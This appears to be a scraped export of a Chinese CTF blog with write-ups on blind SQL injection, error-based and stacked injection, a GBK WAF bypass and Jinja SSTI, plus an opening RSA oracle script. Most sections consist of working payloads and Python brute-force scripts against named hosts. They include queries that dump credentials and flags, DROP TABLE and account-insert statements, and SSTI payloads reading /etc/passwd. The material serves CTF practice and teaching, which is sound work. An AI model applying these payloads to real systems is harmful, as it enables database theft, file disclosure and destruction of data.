0xBACA954B2835186EEE1DAC2EF38D7E11582127FB9E6107CCAFE854AE311C07ACDE3AAC8F0226E1435D53F03DC9CE6701CF9407C77CA9EE8B5C0DEE300B11DD4D6DC33AC50CA9628A7FB3928943F90738BF6F5EC39F786D1E6AD565EB6E0F1F92ED3227658FDC7C3AE0D4017941E1D5B27DB0F12AE1B54664FD820736235DA626F0D6F97859E5969902088538CF70A0E8B833CE1896AE91FB62852422B8C29941903A6CF4A70DF2ACA1D5161E01CECFE3AD80041B2EE0ACEAA69C793D6DCCC408519A8C718148CF897ACB24FADD8485588B50F39BCC0BBF2BF7AD56A51CB3963F1EB83D2159E715C773A1CB5ACC05B95D2253EEFC3CCC1083A5EF279AF06BB92Fe = 0x10001flag = \"\"a= 255def pad(s): s += (256 - len(s)) * chr(256 - len(s)) ret = ['\\x00' for _ in range(256)] for index, pos in enumerate(s_box): ret[pos] = s[index] return ''.join(ret)def unpad(s): ret = ['\\x00' for _ in range(256)] for index, pos in enumerate(invs_box): ret[pos] = s[index] return ''.join(ret[0:-ord(ret[-1])])def str2int(s): return int(s.encode('hex'), 16)s_box = [ 0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76, 0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0, 0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15, 0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75, 0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84, 0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF, 0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8, 0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2, 0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73, 0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB, 0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79, 0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08, 0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A, 0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E, 0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF, 0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16]invs_box = [ 0x52, 0x09, 0x6A, 0xD5, 0x30, 0x36, 0xA5, 0x38, 0xBF, 0x40, 0xA3, 0x9E, 0x81, 0xF3, 0xD7, 0xFB, 0x7C, 0xE3, 0x39, 0x82, 0x9B, 0x2F, 0xFF, 0x87, 0x34, 0x8E, 0x43, 0x44, 0xC4, 0xDE, 0xE9, 0xCB, 0x54, 0x7B, 0x94, 0x32, 0xA6, 0xC2, 0x23, 0x3D, 0xEE, 0x4C, 0x95, 0x0B, 0x42, 0xFA, 0xC3, 0x4E, 0x08, 0x2E, 0xA1, 0x66, 0x28, 0xD9, 0x24, 0xB2, 0x76, 0x5B, 0xA2, 0x49, 0x6D, 0x8B, 0xD1, 0x25, 0x72, 0xF8, 0xF6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xD4, 0xA4, 0x5C, 0xCC, 0x5D, 0x65, 0xB6, 0x92, 0x6C, 0x70, 0x48, 0x50, 0xFD, 0xED, 0xB9, 0xDA, 0x5E, 0x15, 0x46, 0x57, 0xA7, 0x8D, 0x9D, 0x84, 0x90, 0xD8, 0xAB, 0x00, 0x8C, 0xBC, 0xD3, 0x0A, 0xF7, 0xE4, 0x58, 0x05, 0xB8, 0xB3, 0x45, 0x06, 0xD0, 0x2C, 0x1E, 0x8F, 0xCA, 0x3F, 0x0F, 0x02, 0xC1, 0xAF, 0xBD, 0x03, 0x01, 0x13, 0x8A, 0x6B, 0x3A, 0x91, 0x11, 0x41, 0x4F, 0x67, 0xDC, 0xEA, 0x97, 0xF2, 0xCF, 0xCE, 0xF0, 0xB4, 0xE6, 0x73, 0x96, 0xAC, 0x74, 0x22, 0xE7, 0xAD, 0x35, 0x85, 0xE2, 0xF9, 0x37, 0xE8, 0x1C, 0x75, 0xDF, 0x6E, 0x47, 0xF1, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89, 0x6F, 0xB7, 0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B, 0xFC, 0x56, 0x3E, 0x4B, 0xC6, 0xD2, 0x79, 0x20, 0x9A, 0xDB, 0xC0, 0xFE, 0x78, 0xCD, 0x5A, 0xF4, 0x1F, 0xDD, 0xA8, 0x33, 0x88, 0x07, 0xC7, 0x31, 0xB1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xEC, 0x5F, 0x60, 0x51, 0x7F, 0xA9, 0x19, 0xB5, 0x4A, 0x0D, 0x2D, 0xE5, 0x7A, 0x9F, 0x93, 0xC9, 0x9C, 0xEF, 0xA0, 0xE0, 0x3B, 0x4D, 0xAE, 0x2A, 0xF5, 0xB0, 0xC8, 0xEB, 0xBB, 0x3C, 0x83, 0x53, 0x99, 0x61, 0x17, 0x2B, 0x04, 0x7E, 0xBA, 0x77, 0xD6, 0x26, 0xE1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0C, 0x7D]def mul(x, y, z): ret = 1 while y != 0: if y & 1 != 0: ret = (ret * x) % z x = (x * x) % z y >>= 1 return retwhile (1): x=chr(a)*218 x2='\\x01'*a r=remote(\"123.59.138.211\", 23333) r.sendline(\"1\") r.sendline(x) r.sendline(\"1\") r.sendline(x2) r.sendline(\"2\") r.recvuntil(\"0x\") x3=r.recvline().replace(\"\\n\",\"\") x4=int(x3,16) for i in range(33,127): if x4 == mul(str2int(pad(flag+chr(i)+x2)), e, n): flag += chr(i) break a -= 1 print flag r.close()","categories":[],"tags":[{"name":"web","slug":"web","permalink":"http://altman.vip/tags/web/"},{"name":"wp","slug":"wp","permalink":"http://altman.vip/tags/wp/"}]},{"title":"时间盲注学习","slug":"时间盲注学习","date":"2018-04-07T14:36:37.000Z","updated":"2019-05-27T04:54:44.656Z","comments":true,"path":"2018/04/07/时间盲注学习/","link":"","permalink":"http://altman.vip/2018/04/07/%E6%97%B6%E9%97%B4%E7%9B%B2%E6%B3%A8%E5%AD%A6%E4%B9%A0/","excerpt":"0x00 前言完整的学习四种时间注入的方式,分别是sleep(),benchmark(),笛卡尔积,get_lock>。","text":"0x00 前言完整的学习四种时间注入的方式,分别是sleep(),benchmark(),笛卡尔积,get_lock>。 0x01 sleep()最常见的时间注入方式,sleep(n)让语句运行n秒中。配合if语句 …if(1,sleep(3),0)…或者select case when 语句。不做深入研究。 1234567mysql> select sleep(3);+----------+| sleep(3) |+----------+| 0 |+----------+1 row in set (3.00 sec) 0x02 BENCHMARK()BENCHMARK函数执行某函数的次数BENCHMARK(n,SHA1(‘asd’))n=次数,代表执行SHA1(‘asd’)n次,当n到达一定程度时会造成和sleep()一样的效果 123456789101112131415mysql> select BENCHMARK(10000000,SHA1('1'));+-------------------------------+| BENCHMARK(1000000,SHA1('1')) |+-------------------------------+| 0 |+-------------------------------+1 row in set (0.24 sec)mysql> select BENCHMARK(10000000,SHA1('1'));+-------------------------------+| BENCHMARK(10000000,SHA1('1')) |+-------------------------------+| 0 |+-------------------------------+1 row in set (2.44 sec) 0x03 笛卡尔积通过对一张表作自身的笛卡尔积让查询时间变长从而达到和sleep一样的效果这里用information_schema.columns表做笛卡儿积 123456789101112131415mysql> select count(*) from information_schema.columns; //+----------+| count(*) |+----------+| 3095 |+----------+1 row in set (0.05 sec)mysql> select count(*) from information_schema.columns ,information_schema.columns qwe;+----------+| count(*) |+----------+| 9579025 |+----------+1 row in set (0.38 sec) 可以看到做一次笛卡儿积后时间翻了很多倍。 1mysql> select count(*) from information_schema.columns ,information_schema.columns qwe ,information_schema.columns wer; 两次笛卡儿积可以直接把数据库打挂。 0x04 get_lockGET_LOCK(str,timeout);先锁定一个变量 : GET_LOCK(‘altman’,1)再使用另一个session执行函数 : GET_LOCK(‘altman’,5)会产生一个5秒的停滞。本地测试一下。 1234567891011121314151617mysql> select GET_LOCK('qwe',1);+-------------------+| GET_LOCK('qwe',1) |+-------------------+| 1 |+-------------------+1 row in set (0.00 sec)//再打开另一个MYSQL命令行mysql> select get_lock('qwe',5);+-------------------+| get_lock('qwe',5) |+-------------------+| 0 |+-------------------+1 row in set (5.00 sec) 造成的与sleep(5)相同的效果 0x05实战pwnhub上的sql题。给出了源码。 123456789101112131415<?phprequire 'conn.php';$id = $_GET['id'];if(preg_match(\"/(sleep|benchmark|outfile|dumpfile|load_file|join)/i\", $_GET['id'])){ die(\"you bad bad!\");}$sql = \"select * from article where id='\".intval($id).\"'\";$res = mysql_query($sql);if(!$res){ die(\"404 not found!\");}$row = mysql_fetch_array($res, MYSQL_ASSOC);mysql_query(\"update view set view_times=view_times+1 where id = '\".$id.\" '\");?> 注入点很明显的时间盲注 1mysql_query(\"update view set view_times=view_times+1 where id = '\".$id.\" '\"); 但是sleep,BENCHMARK被正则了 这里分别用 笛卡儿积,get_lock三种方法尝试。 笛卡儿积先尝试payload: 1id=%27or%20(select%20if(1,(select%20count(*)%20from%20information_schema.columns,%20information_schema.columns%20T1,%20information_schema.columns%20T2,%20information_schema.columns%20T3),0))%23 成功造成停滞 ok !接下来写python脚本 1234567891011121314151617# encoding=utf-8import requestsimport stringurl = 'http://219.219.61.234:20262/article.php?id='flag = ''for i in range(1, 50): for j in string.letters+'123456789'+'{}!@#$%^&*()_': url1 = url + \"' or (select if(((select ascii(substr(group_concat(table_name),\" + str(i) + \",1)) from information_schema.tables where table_schema=database() )='\" + str(ord(str(j))) + \"'),(select count(*) from information_schema.columns, information_schema.columns a, information_schema.columns b, information_schema.columns c),1))%23\" #url1 = url + \"' or (select if(((select ascii(substr(group_concat(column_name),\" + str(i) + \",1)) from information_schema.columns where table_schema=database() and table_name='flag')='\" + str(ord(str(j))) + \"'),(select count(*) from information_schema.columns, information_schema.columns a, information_schema.columns b, information_schema.columns c),1))%23\" #url1 = url + \"' or (select if(((select ascii(substr(flag,\" + str(i) + \",1)) from flag)='\" + str(ord(str(j))) + \"'),(select count(*) from information_schema.columns, information_schema.columns a, information_schema.columns b, information_schema.columns c),1))%23\" try: r = requests.get(url1, timeout=2) except: flag += str(j) break print flag get_lock先注入 1id=%27%20or%20get_lock(%27altman%27,1)%23 然后更换IP访问或者等一会之后访问从而使得MYSQL的session改变 1id=%27%20or%20get_lock(%27altman%27,5)%23 成功造成5s延迟。接下来运行python脚本 123456789101112131415# encoding=utf-8import requestsimport stringurl = 'http://219.219.61.234:20262/article.php?id='flag = ''for i in range(1, 50): for j in string.letters+'123456789'+'{}!@#$%^&*()_': url1 = url + \"' or (select if(((select ascii(substr(flag,\" + str(i) + \",1)) from flag)='\" + str(ord(str(j))) + \"'),(get_lock('altman',7)),1))%23\" try: r = requests.get(url1, timeout=3) except: flag += str(j) break print flag","categories":[],"tags":[{"name":"web","slug":"web","permalink":"http://altman.vip/tags/web/"}]},{"title":"实验吧几道注入题","slug":"实验吧几道注入题","date":"2018-03-08T05:06:57.000Z","updated":"2018-11-02T05:50:01.442Z","comments":true,"path":"2018/03/08/实验吧几道注入题/","link":"","permalink":"http://altman.vip/2018/03/08/%E5%AE%9E%E9%AA%8C%E5%90%A7%E5%87%A0%E9%81%93%E6%B3%A8%E5%85%A5%E9%A2%98/","excerpt":"0x1 加了料的报错注入url=http://ctf5.shiyanbar.com/web/baocuo/index.php提示了是报错注入,进行了一波FUZZ:username过滤了 =#-()","text":"0x1 加了料的报错注入url=http://ctf5.shiyanbar.com/web/baocuo/index.php提示了是报错注入,进行了一波FUZZ:username过滤了 =#-() password过滤了所有报错函数名 ExtractValue、UpdateXml等,substr mid left right union limit like。再结合提示的sql语句: 1$sql=\"select * from users where username='$username' and password='$password'\" 我们可以将函数名放在username,()放在password里,构造: 1username=' or updatexml/*&password=*/(1,concat(0x3a,(select user())),1) or ' 这样sql语句就变成了 1$sql=\"select * from users where username='' or updatexml/*' and password='*/(1,concat(0x3a,(select user())),1) or ''\" 注释掉了中间的内容并且绕过了waf。因为过滤了like和= ,这里用regexp代替 12345username=' or updatexml/*&password=*/(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema regexp database()),0x7e),1) or ' //ffll44jj,usersusername=' or updatexml/*&password=*/(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name regexp 'ffll44jj'),0x7e),1) or ' //valueusername=' or updatexml/*&password=*/(1,concat(0x7e,(select group_concat(value) from ffll44jj),0x7e),1) or ' //flag{err0r_b4sed_sqli_+_hpf} 另外 看了Pcat大佬的WP,发现password处EXP没有过滤,可以直接在password处注入 123username=&password='or exp(~(select*from(select user())x)) or 'username=&password='or exp(~(select*from(select group_concat(value) from ffll44jj)x)) or ' 0x2 认真一点url=http://ctf5.shiyanbar.com/web/earnest/index.php明显的BOOL盲注payload: 1id=0'oorr'1'='1 过滤了一大堆东西用括号代替空格,双写or绕过,过滤了逗号,mid无法使用,只能用regexp倒叙匹配。python脚本: 1234567891011121314151617import requestsimport stringurl = \"http://ctf5.shiyanbar.com/web/earnest/index.php\"flag=\"\"for i in range(1,30): for j in string.letters+\"0123456789\"+\"!@#^&(){}=+`~_,/.\": #payload=\"0'oorr(select(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database()))regexp('%s$'))oorr'1'='\" //fiaguser #payload=\"0'oorr(select(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name='fiag')regexp('%s$'))oorr'1'='\" //fl$4g payload=\"0'oorr(select(select(fl$4g)from(fiag))regexp('%s$'))oorr'1'='\"%(j+flag) data = { \"id\":payload } r =requests.post(url=url,data=data) if 'You are in' in r.content: flag = j+flag print flag break print i 将逗号放到最后因为逗号*和$是通配符,如果出现了这几个符号,就要猜他到底是什么了。。。还没想到更准确的方法。得出flag:flag{haha~you win!} 0x3 who are you首页显示IP,抓包修改XFF,果然ip是从XFF处取值。尝试 1X-FORWARDED-FOR:' or sleep(5) or '1'='1 sleep成功,尝试时间盲注发现逗号被过滤了。那么用select case when最终payload 1X-FORWARDED-FOR:' or (select case when (1) then sleep(5) end) or '1'='1 附上盲注脚本: 123456789101112131415161718192021 # -*- coding: UTF-8 -*-import requestsimport stringurl = \"http://ctf5.shiyanbar.com/web/wonderkun/index.php\"#payload=\"' or+(select case when (substring((select(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))) from %s for 1)='%s') then sleep(5) else 0 end) or '1'='1\"#payload=\"' or+(select case when (substring((select(select(group_concat(column_name))from(information_schema.columns)where(table_name=0x666C6167))) from %s for 1)='%s') from %s for 1)='%s') then sleep(5) else 0 end) or '1'='1\"payload = \"' or+(select case when (substring((select flag from flag) from %s for 1)='%s') then sleep(5) else 0 end) or '1'='1\"flag = \"\"for i in range(0,33): for j in string.letters+\"0123456789\"+\"!@#^&(){}=+`~_,/.\": payload1 = payload%(i,j) header={ \"X-Forwarded-For\":payload1 } try: r = requests.get(url=url,timeout=4,headers=header) except: flag+=j print flag break print i","categories":[],"tags":[{"name":"wp","slug":"wp","permalink":"http://altman.vip/tags/wp/"}]},{"title":"hgame-week4","slug":"hgame-week4","date":"2018-03-02T16:00:00.000Z","updated":"2018-11-02T05:48:50.230Z","comments":true,"path":"2018/03/03/hgame-week4/","link":"","permalink":"http://altman.vip/2018/03/03/hgame-week4/","excerpt":"HGAME的第四周,难度变大了,记录一下做题过程。","text":"HGAME的第四周,难度变大了,记录一下做题过程。 又双叒叕是SQLI提示在线编辑,很明显是index.php~源代码泄露。拿到文件: 12345678910111213141516171819202122232425<?php error_reporting(0); include(\"sql.php\"); $waf=\"/(union|group by|=|>|<|hex| |lower|strcmp|updatexml|xmlelement|extractvalue|concat|bin|sleep|mid\\(|substr|left|ascii|\\/\\*|\\*\\/)/i\"; if(isset($_GET['user'])){ if(preg_match_all($waf,$_GET['user'])!=0){ $user=\"admin\"; }else{ $user = str_replace(\"'\",\"\\'\",$_GET['user']); } //echo $user.\"<br>\"; $sqli = new mysqli($host,$username,$passwd,$database); $sqli->set_charset(\"gbk\"); $query=\"select * from users where username='\".$user.\"'\"; $result = $sqli->query($query); //echo $sqli->error; $num=0; @$num = $result->num_rows; if($num>0){ while($row = $result->fetch_row()){ echo $row[0].\"&nbsp;&nbsp;&nbsp;&nbsp;\".$row[1].\"&nbsp;&nbsp;&nbsp;\".$row[2].\"<br>\"; } } } 注意到GBK,尝试GBK注入。过滤了空格 用%0a代替 1http://118.25.18.223:10088/?user=%df%27or%0a1%0alike%0a1%23 过滤了Union,没有报错。只能尝试盲注。由于没有过滤like,用%通配符就行爆破。贴python脚本: 123456789101112131415161718import requestsimport stringurl = \"http://118.25.18.223:10088/?user=\"flag = \"\"flag1 = \"\"for i in range(1,100): for j in string.letters+\"0123456789\"+\"!@#$^&*(){}=+`~_\": #payload = \"%%df%%27%%0aor%%0a((select%%0adatabase())%%0alike%%0a0x%s25)%%23\"%(payload+hex(ord(j))[2:]) #payload = \"%%df%%27%%0aor%%0a((select%%0aTABLE_NAME%%0afrom%%0ainformation_schema.TABLES%%0awhere%%0aTABLE_SCHEMA%%0alike%%0adatabase()limit%%0a0,1)%%0alike%%0a0x%s25)%%23\"%(payload+hex(ord(j))[2:]) #payload = \"%%df%%27%%0aor%%0a((select%%0aCOLUMN_NAME%%0afrom%%0ainformation_schema.COLUMNS%%0awhere%%0aTABLE_NAME%%0alike%%0a0x666c6c6c6c6c6167%%0alimit%%0a2,1)%%0alike%%0a0x%s25)%%23\"%(payload+hex(ord(j))[2:]) payload = \"%%df%%27%%0aor%%0a((select%%0athisisflag%%0afrom%%0aflllllag)%%0alike%%0a0x%s25)%%23\"%(flag+hex(ord(j))[2:]) url1=url+payload r =requests.get(url=url1) if 'chutiren' in r.content: flag += hex(ord(j))[2:] flag1 += j print flag1 break 散落的flagflag被分为了三段第一段在注册页面,抓包发送后可以拿到验证码。注册成功后登陆,看到第一段flag。 123456User Infoaltmanusername: altmansecret: hgame{0102940de1 然后寻找第二段fla重新登陆注册的账号,抓包发现check_user.php修改username=admin出现第二段flag 1234567User Infoaltmanusername: adminsecret: 10c546b2cf68 然后修改密码,抓包后改username为admin然后登陆admin拿到第三段flag 拼接后得到flag 奇怪的SQLi600分的题有点吓人。。SSRF攻击mysql当时没做出来,现在题目关了。有机会再补上。","categories":[],"tags":[{"name":"wp","slug":"wp","permalink":"http://altman.vip/tags/wp/"}]},{"title":"SSTI(服务端模板注入攻击 )","slug":"SSTI","date":"2018-02-23T16:32:32.000Z","updated":"2018-11-02T05:46:43.125Z","comments":true,"path":"2018/02/24/SSTI/","link":"","permalink":"http://altman.vip/2018/02/24/SSTI/","excerpt":"源自HGAME-week3的一道题 NGC’S BLOG","text":"源自HGAME-week3的一道题 NGC’S BLOG url: 1http://111.230.105.104:5000/hello/ngc 学习一波ssti参考链接 http://www.freebuf.com/vuls/83999.html http://www.freebuf.com/articles/web/135953.html http://www.freebuf.com/articles/web/98928.html这道题解法:尝试SSTI注入: 1http://111.230.105.104:5000/%7B%7B1+1%7D%7D 返回 2 。 说明存在注入 。 1234http://111.230.105.104:5000/%7B%7B1+1%7D%7Dhttp://111.230.105.104:5000/%7B%7B''.__class__.__mro__%7D%7Dhttp://111.230.105.104:5000/%7B%7B%20''.__class__.__mro__[2].__subclasses__()%20%7D%7Dhttp://111.230.105.104:5000/%7B%7B%20''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()%20%7D%7D //读文件 提示了flag在flag中 1http://111.230.105.104:5000/%7B%7B%20''.__class__.__mro__[2].__subclasses__()[40]('./flag').read()%20%7D%7D","categories":[],"tags":[{"name":"web","slug":"web","permalink":"http://altman.vip/tags/web/"}]},{"title":"sqli-labs(less54-less65)","slug":"sqli-labs 4","date":"2018-02-09T17:14:43.000Z","updated":"2018-11-02T05:47:03.273Z","comments":true,"path":"2018/02/10/sqli-labs 4/","link":"","permalink":"http://altman.vip/2018/02/10/sqli-labs%204/","excerpt":"从这部分开始题目看起来都比较有趣这部分题都是有查询次数限制的,读了下源码,他的数据库信息都是随机的,如果超过了次数限制,整个表都会随机重置。","text":"从这部分开始题目看起来都比较有趣这部分题都是有查询次数限制的,读了下源码,他的数据库信息都是随机的,如果超过了次数限制,整个表都会随机重置。 less-54尝试闭合 直接成功 1234567?id=1' or 1=1 %23?id=1' order by 3 %23?id=1' order by 4 %23 //爆出字段?id=-1' union select 1,2,database() %23 //爆出库名?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) %23 //爆表?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x6b6179736a6d316c6c6c) %23 //爆字段?id=-1' union select 1,2,(select group_concat(secret_IC58) from kaysjm1lll) %23 //爆flag 一共用了7次 爆出flag:Qn53kV6NaD4ffFR1BSA3sBkp(每次的数据库名表名字段名和flag都是不一样的) less-55和上面一样的套路,只是把单引号换成了括号payload: 1?id=1) or 1=1 %23 less-56常规思路进行尝试 得到payload: 1?id=1') or 1=1 %23 其他的就是常规暴库 less -57一样的套路 只不过变成了双引号 1?id=1\" or 1=1 %23 less-58单引号闭合 报错注入 1?id=1' or updatexml(1,concat(0x7e,database(),0x7e),1) %23 成功爆出库名。然后就是报错的常规操作了。 less-59没有符号闭合的报错注入 : 1?id=1 or updatexml(1,concat(0x7e,database(),0x7e),1) %23 less-601?id=1\") or updatexml(1,concat(0x7e,database(),0x7e),1) %23 less-611?id=1')) or updatexml(1,concat(0x7e,database(),0x7e),1) %23 less-62130次的限制,盲注 。但是遇到了问题就是,盲注次数控制不了在130以内,这就很头疼。payload: 1?id=1') and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1) ,1,1))) > 97 %23 less-63只是换了闭合符号payload: 1?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1) ,1,1))) > 97 %23 less -641?id=1)) and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1) ,1,1))) > 97 %23 less -651?id=1\") and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1) ,1,1))) > 97 %23 总结终于做完了65关 ,看着很多,其实做起来很快。本来以前后面会比较难,其实很基础,重复的题目太多了。目前不懂得地方就是限制次数的盲注脚本。还没有想到什么好的办法,以后想到了会回来补上脚本的。OVER。","categories":[],"tags":[{"name":"web","slug":"web","permalink":"http://altman.vip/tags/web/"}]},{"title":"sqli-labs (less39-less53)","slug":"sqli-labs 3","date":"2018-02-09T15:38:18.000Z","updated":"2018-11-02T05:51:40.526Z","comments":true,"path":"2018/02/09/sqli-labs 3/","link":"","permalink":"http://altman.vip/2018/02/09/sqli-labs%203/","excerpt":"less-39直接闭合: 1?id=1 or 1=1 %23","text":"less-39直接闭合: 1?id=1 or 1=1 %23 less-4039题的盲注 脚本: 123456789101112#!/usr/bin/env python# -*- coding: utf-8 -*-import requestsflag = \"\"for i in range(1,100): for j in range(33,127): payload =\"http://localhost/sql/Less-40/?id=1' and ascii(mid((select password from users where username='admin2' ),%d,1))=%d and '1'='1\"%(i,j) r= requests.get(url=payload) if \"Dumb\" in r.content: flag += chr(j) print flag break less-41依旧盲注,和上题一样,不需要单引号闭合。 less-42堆叠注入。 在;后构造新的语句造成执行。比如输入 1usernma=123';create table haha like users; 在查询后执行创造表的指令。这道题堆叠注入的点在于password,用户名任意输,密码处构造注入 1login_user=123&login_password=123';create table hahah like users#&mysubmit=Login 这时候去后台查表发现已经存在hahah表了。用样可以利用 1login_user=123&login_password=123';drop table hahah#&mysubmit=Login 删除hahah表。这里我们用指令创造一个账号登陆payload: 1login_user=123&login_password=123';insert into users(id,username,password) values ('100','altman','altman')##&mysubmit=Login 这个任意指令执行还是很危险的。 less-43和上题的区别就是需要加括号闭合。 1login_user=123&login_password=123');drop table hahah#&mysubmit=Login less-44和42题没啥区别 less-45和43题没啥区别 想了想比赛应该不会出这种堆叠注入,过滤稍微不严格的话整个数据库就要被删掉。。。也可以直接getshell less-46基于错误的排序注入看了下源码: 1$sql = \"SELECT * FROM users ORDER BY $id\"; 尝试: 1?sort=updatexml(1,concat(0x7e,database(),0x7e),1) 成功 less-47增加了单引号闭合: 1?sort=1' and updatexml(1,concat(0x7e, database(),0x7e),1) and '1'='1 less-48盲注 ,各种尝试后没有结果。去方方土博客看了看发现需要时间盲注 脚本: 1234567891011121314# Author:sky# -*- coding: utf-8 -*-import requestsflag = ''url = 'http://localhost/sql/Less-48/?sort=1 and if(((ascii(substr((select password from users where username=\"admin2\"),%s,1)))=%d),sleep(2),false)'for x in range(1,100): for y in range(33,127): urll = url%(x,y) try: f = requests.get(url=urll,timeout=1.5) except: flag+=chr(y) print flag break less-4947题的盲注版本 一样用时间盲注 less-50排序注入后加了堆叠注入 Less-51同上题,需要引号闭合 Less-5250的盲注,同时间注入,脚本懒得写。。。 Less-5351的盲注,时间注入","categories":[],"tags":[{"name":"web","slug":"web","permalink":"http://altman.vip/tags/web/"}]},{"title":"sqli-labs (less23-less38)","slug":"sqli-labs 2","date":"2018-02-05T16:00:00.000Z","updated":"2019-08-14T02:09:44.759Z","comments":true,"path":"2018/02/06/sqli-labs 2/","link":"","permalink":"http://altman.vip/2018/02/06/sqli-labs%202/","excerpt":"less-231?id=1' or '1'=' 成功闭合payload: 1?id=1' or (updatexml(1,concat(0x7e,(select user()),0x7e),1)) or '1'='1","text":"less-231?id=1' or '1'=' 成功闭合payload: 1?id=1' or (updatexml(1,concat(0x7e,(select user()),0x7e),1)) or '1'='1 less-24说实话没看懂这题让干啥 less-25过滤了or没过率 | 1?id=1' || updatexml(1,concat(0x7e,(select user()),0x7e),1)) or '1'='1 而且他只是过滤删去了or,可以重写绕过。 less-25a上题的基础下进行盲注入脚本如下: 12345678910111213#!/usr/bin/env python# -*- coding: utf-8 -*-import requestsflag = \"\"for i in range(1,100): for j in range(33,127): payload =\"http://localhost/sql/Less-25a/?id=-1 || ascii(mid((select passwoorrd from users where username='admin2'),%d,1))=%d\"%(i,j) r= requests.get(url=payload) if \"Dumb\" in r.content: flag += chr(j) print flag breakprint result less-26空格绕过 用()绕过空格就好了 1?id=1'||updatexml(1,concat(0x7e,(select(database())),0x7e),1)||'1'='1 less-26a上一题的忙注版本 12345678910import requestsflag = \"\"for i in range(1,100): for j in range(33,127): payload =\"http://localhost/sql/Less-26a/?id=1'anandd(ascii(mid((select(passwoorrd)from(users)where(username='admin2')),%d,1))=%d)anandd'1'='1\"%(i,j) r= requests.get(url=payload) if \"Dumb\" in r.content: flag += chr(j) print flag break less-27过滤并不严格 123456789101112$id= preg_replace('/[\\/\\*]/',\"\", $id); //strip out /*$id= preg_replace('/[--]/',\"\", $id); //Strip out --.$id= preg_replace('/[#]/',\"\", $id); //Strip out #.$id= preg_replace('/[ +]/',\"\", $id); //Strip out spaces.$id= preg_replace('/select/m',\"\", $id); //Strip out spaces.$id= preg_replace('/[ +]/',\"\", $id); //Strip out spaces.$id= preg_replace('/union/s',\"\", $id); //Strip out union$id= preg_replace('/select/s',\"\", $id); //Strip out select$id= preg_replace('/UNION/s',\"\", $id); //Strip out UNION$id= preg_replace('/SELECT/s',\"\", $id); //Strip out SELECT$id= preg_replace('/Union/s',\"\", $id); //Strip out Union$id= preg_replace('/Select/s',\"\", $id); //Strip out select 大小写绕过就行 1?id=1'and(updatexml(1,concat(0x7e,(sEleCt(password)from(users)where(username='admin2')),0x7e),1))and'1'='1 less-27a依旧是27题的盲注,就不写了 less-28试了半天没回显 最后发现是个盲注 //不按套路走 不是加a才是盲注的吗= =脚本: 123456789101112#!/usr/bin/env python# -*- coding: utf-8 -*-import requestsflag = \"\"for i in range(1,100): for j in range(33,127): payload =\"http://localhost/sql/Less-28/?id=1')and(ascii(mid((sElEct(password)from(users)where(username='admin2')),%d,1))=%d)and('1'='1\"%(i,j) r= requests.get(url=payload) if \"Dumb\" in r.content: flag += chr(j) print flag break less-28a没看出来和28有啥区别 用28的脚本也能跑出来。。 less-29很轻松就饶过了。。我咋没看出来the best firewall在哪。。。? 1?id=1' or updatexml(1,concat(0x7e,(select password from users where 